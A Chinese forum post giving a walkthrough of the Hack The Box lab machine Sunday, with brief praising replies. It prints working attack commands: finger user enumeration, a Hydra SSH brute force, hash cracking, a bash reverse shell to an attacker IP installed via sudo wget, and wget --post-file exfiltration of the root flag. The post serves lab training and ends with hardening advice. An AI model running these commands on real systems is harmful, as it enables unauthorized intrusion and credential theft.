HTB 第五台靶机 Sunday,附wp

I just pwned Sunday on Hack The Box! Owned Sunday from Hack The Box! #HackTheBox #htb #CyberSecurity #EthicalHacking #InfoSec #PenTesting
Owned Sunday from Hack The Box!

以下是wp

Sunday HTB靶机渗透测试详细记录

初始侦察阶段

在渗透测试的第一步,我们需要对目标主机进行全面的端口扫描,识别所有可能的服务入口点。使用Nmap进行高速全端口扫描:

nmap -sT -min-rate 10000 -p- 10.10.10.76

扫描结果显示目标主机开放了多个端口:

PORT      STATE SERVICE
53/tcp    open  domain
79/tcp    open  finger
111/tcp   open  rpcbind
515/tcp   open  printer
6787/tcp  open  smc-admin
22022/tcp open  unknown

为了获取更详细的服务信息,我们对这些开放端口进行进一步探测:

nmap -sT -sC -sV -O -p79,111,515,6787,22022 10.10.10.76

详细扫描结果如下:

PORT      STATE SERVICE VERSION
79/tcp    open  finger?
111/tcp   open  rpcbind 2-4 (RPC #100000)
515/tcp   open  printer
6787/tcp  open  http    Apache httpd
|_http-title: 400 Bad Request
|_http-server-header: Apache
22022/tcp open  ssh     OpenSSH 8.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 aa:00:94:32:18:60:a4:93:3b:87:a4:b6:f8:02:68:0e (RSA)
|_  256 da:2a:6c:fa:6b:b1:ea:16:1d:a6:54:a1:0b:2b:ee:48 (ED25519)

漏洞识别与利用

Finger服务枚举

从扫描结果中,我注意到目标主机运行着Finger服务(79端口)。通过Google搜索"finger服务",我了解到Finger是一个古老的UNIX用户信息查询协议,常常存在用户枚举漏洞。

参考资料:Finger - Port 79 | VeryLazyTech

为了利用这个服务枚举目标系统上的用户,我决定使用finger-user-enum.pl工具:

git clone https://github.com/pentestmonkey/finger-user-enum.git

使用该工具对目标系统进行用户名爆破:

./finger-user-enum.pl -m 100 -U /usr/share/seclists/Usernames/Names/names.txt -t 10.10.10.76

技术说明:这里我使用了-m 100参数增加并发连接数,显著提高了枚举速度。通常在渗透测试中,权衡速度和目标系统稳定性是非常重要的。

爆破结果发现了16个有效结果:

16 results.
10177 queries in 120 seconds (84.8 queries / sec)

经过分析,确定了三个可能通过SSH连接的有效账户:

  • root (系统超级管理员)
  • sammy (普通用户)
  • sunny (普通用户)

SSH密码爆破

既然已经获取了可能的用户名,接下来我尝试使用Hydra对SSH服务进行密码爆破:

hydra -t 64 -v -l sunny -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.76:22022

安全提示:这里使用的-t 64参数设置了较高的并发线程数,在实际环境中应当谨慎使用,以避免触发防护机制或导致服务拒绝访问。

爆破成功,获得了用户sunny的凭据:

[22022][ssh] host: 10.10.10.76   login: sunny   password: sunday

初始访问与横向移动

登录Sunny用户

使用刚刚获取的凭据通过SSH登录系统:

ssh [email protected] -p 22022

登录成功后,我开始在系统中寻找有价值的信息。首先查看根目录下的local.cshrc文件:

cat local.cshrc

文件内容如下:

#
# Copyright (c) 1991, 2018, Oracle and/or its affiliates. All rights reserved.
#
set path=(/usr/bin /usr/sbin)
if ( $?prompt ) then
        set history=32
endif

这表明系统保存了命令历史记录,这是一个潜在的信息收集点。

历史命令分析

查看bash历史命令记录:

cat .bash_history

在历史命令中发现了一个有趣的线索 - 曾经查看过备份的shadow文件:

cat /backup/shadow.backup

跟进这个线索,我发现了用户sammy的密码哈希:

sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::

安全警示:这是一个严重的安全问题 - 重要的凭据信息被保存在可访问的备份文件中。在实际环境中,敏感的备份文件应当加密存储并严格限制访问权限。

哈希破解

将获取到的哈希值保存到本地文件:

echo '$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB' > hashcat_hash.txt

使用Hashcat工具进行哈希破解:

hashcat -m 7400 -a 0 hashcat_hash.txt /usr/share/wordlists/rockyou.txt

技术说明:参数-m 7400指定了哈希类型为SHA-256 Crypt,这是基于分析哈希格式得出的结论。在哈希破解中,正确识别哈希类型是成功的关键。

破解成功,获得了用户sammy的密码:

$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:cooldude!

登录Sammy用户

使用破解出的密码登录sammy用户:

ssh [email protected] -p 22022

登录成功后,找到并获取用户标志:

cat user.txt
ec0358b9bf1c4d5cd5d45ba78109cd5d

权限提升

权限分析

为了寻找提权可能性,我检查了两个用户的sudo权限:

sudo -l

发现了以下权限配置:

  1. 用户sunny可以以root身份运行:

    (root) NOPASSWD: /root/troll
    
  2. 用户sammy拥有更广泛的权限:

    (ALL) ALL
    (root) NOPASSWD: /usr/bin/wget
    

权限分析:这里存在明显的安全配置问题:

  • sunny用户可以无需密码执行特定的root文件
  • sammy用户可以无需密码以root身份运行wget命令,这可能被用于文件操作

权限提升策略

分析后,我设计了一个结合两个用户权限的提权策略:通过sammy用户使用wget命令替换/root/troll文件为自定义的反弹shell脚本,然后利用sunny用户的权限执行该文件,从而获取root权限。

实施步骤如下:

1. 在攻击机上创建反弹shell脚本

echo '#!/bin/bash' > root.sh
echo 'bash -i >& /dev/tcp/10.10.16.16/4444 0>&1' >> root.sh
chmod +x root.sh

2. 启动HTTP服务托管脚本

python -m http.server 8000

3. 设置监听以接收反弹shell

nc -lvnp 4444

4. 在目标机上执行提权操作

使用sammy用户替换troll文件:

sudo wget http://10.10.16.16:8000/root.sh -O /root/troll

关键提示:这一步需要快速操作,因为根据观察,troll文件会被系统监控并定期还原。这是一种典型的计时攻击(Race Condition)情景。

然后迅速切换到sunny用户执行troll文件(这里可以开两个终端同时操作,不用切换用户):

sudo /root/troll

成功获取root shell后,读取key2:

cat /root/root.txt
9ebd29077c953deafc0aca147989f7d9

取巧方案:使用wget读取key

除了上述方法,还有一种更简单的方式利用wget的--post-file选项直接获取root.txt。

–post-file参数说明--post-file是wget的一个参数,允许用户指定一个本地文件,然后将该文件的内容作为HTTP POST请求的主体发送到目标服务器。这个功能在与sudo权限结合使用时,可以被用来读取系统上任何具有访问权限的文件,并将其内容发送到外部服务器。

利用步骤:

  1. 在攻击机上开启网络监听:

    nc -lvnp 8001
    
  2. 在目标机器上,通过sammy用户使用wget读取root.txt并发送到攻击机:

    Copy
    sudo wget --post-file=/root/root.txt http://10.10.16.16:8001
    

攻击机上直接接收到root标志:

Copylistening on [any] 8001 ...
connect to [10.10.16.16] from (UNKNOWN) [10.10.10.76] 43109
POST / HTTP/1.1
User-Agent: Wget/1.20.3 (solaris2.11)
Accept: */*
Accept-Encoding: identity
Host: 10.10.16.16:8001
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 33

9ebd29077c953deafc0aca147989f7d9

总结与安全建议

本次渗透测试成功利用了以下几个安全漏洞:

  1. Finger服务用户枚举:古老的Finger服务允许远程用户枚举,应当禁用或限制此服务
  2. 弱密码使用:用户sunny使用了简单密码,容易被字典攻击破解
  3. 敏感备份文件暴露:系统中存在明文保存的密码哈希备份,未加密且权限控制不当
  4. 不当的sudo权限配置:
    • sunny用户能执行root所有者的特定文件
    • sammy用户能无密码执行wget命令,可被利用修改系统文件
  5. 定时任务安全配置不当:虽然系统有还原机制,但执行间隔存在可被利用的窗口期

安全加固建议

  1. 禁用或限制不必要服务:关闭或限制Finger等古老且不安全的服务
  2. 实施强密码策略:要求所有用户使用复杂密码,并定期更改
  3. 敏感备份文件保护:加密保存所有包含敏感信息的备份文件,并严格限制访问权限
  4. sudo权限最小化:
    • 重新评估并限制sudo权限,遵循最小权限原则
    • 对文件替换类命令(如wget)特别注意其权限控制
  5. 文件完整性监控:对关键系统文件实施实时完整性监控,而非简单的定时恢复
  6. 实施入侵检测系统:部署IDS/IPS系统,及时发现和阻止异常行为
  7. 加强SSH安全配置:
    • 禁用密码认证,改用密钥认证
    • 限制可登录用户
    • 实施登录失败次数限制和IP封禁机制

漏洞利用路径总结

初始侦察用户枚举密码爆破哈希获取哈希破解权限提升

Finger服务枚举用户 → 爆破sunny密码 → 获取sammy密码哈希 → 破解sammy密码 → 利用组合sudo权限获取root

本次渗透测试展示了如何通过结合多个低危漏洞,最终构成高危利用链的过程

14 个赞

我又来学习提升佬的分享了

哈哈,下午提前把靶机打了,wp写出来,这样就不用半夜凌晨补课了

学到了,不愧是佬

好家伙,你好强!

学到了,知识+1

看不懂,mark下,大佬太强了

佬太强了,学到了
支持干货

非常完整且内容精炼的解题步骤。
能力强就算了,解题步骤还写得那么清晰,大佬无疑了(抱紧大佬大腿跟大佬学习后渗透)。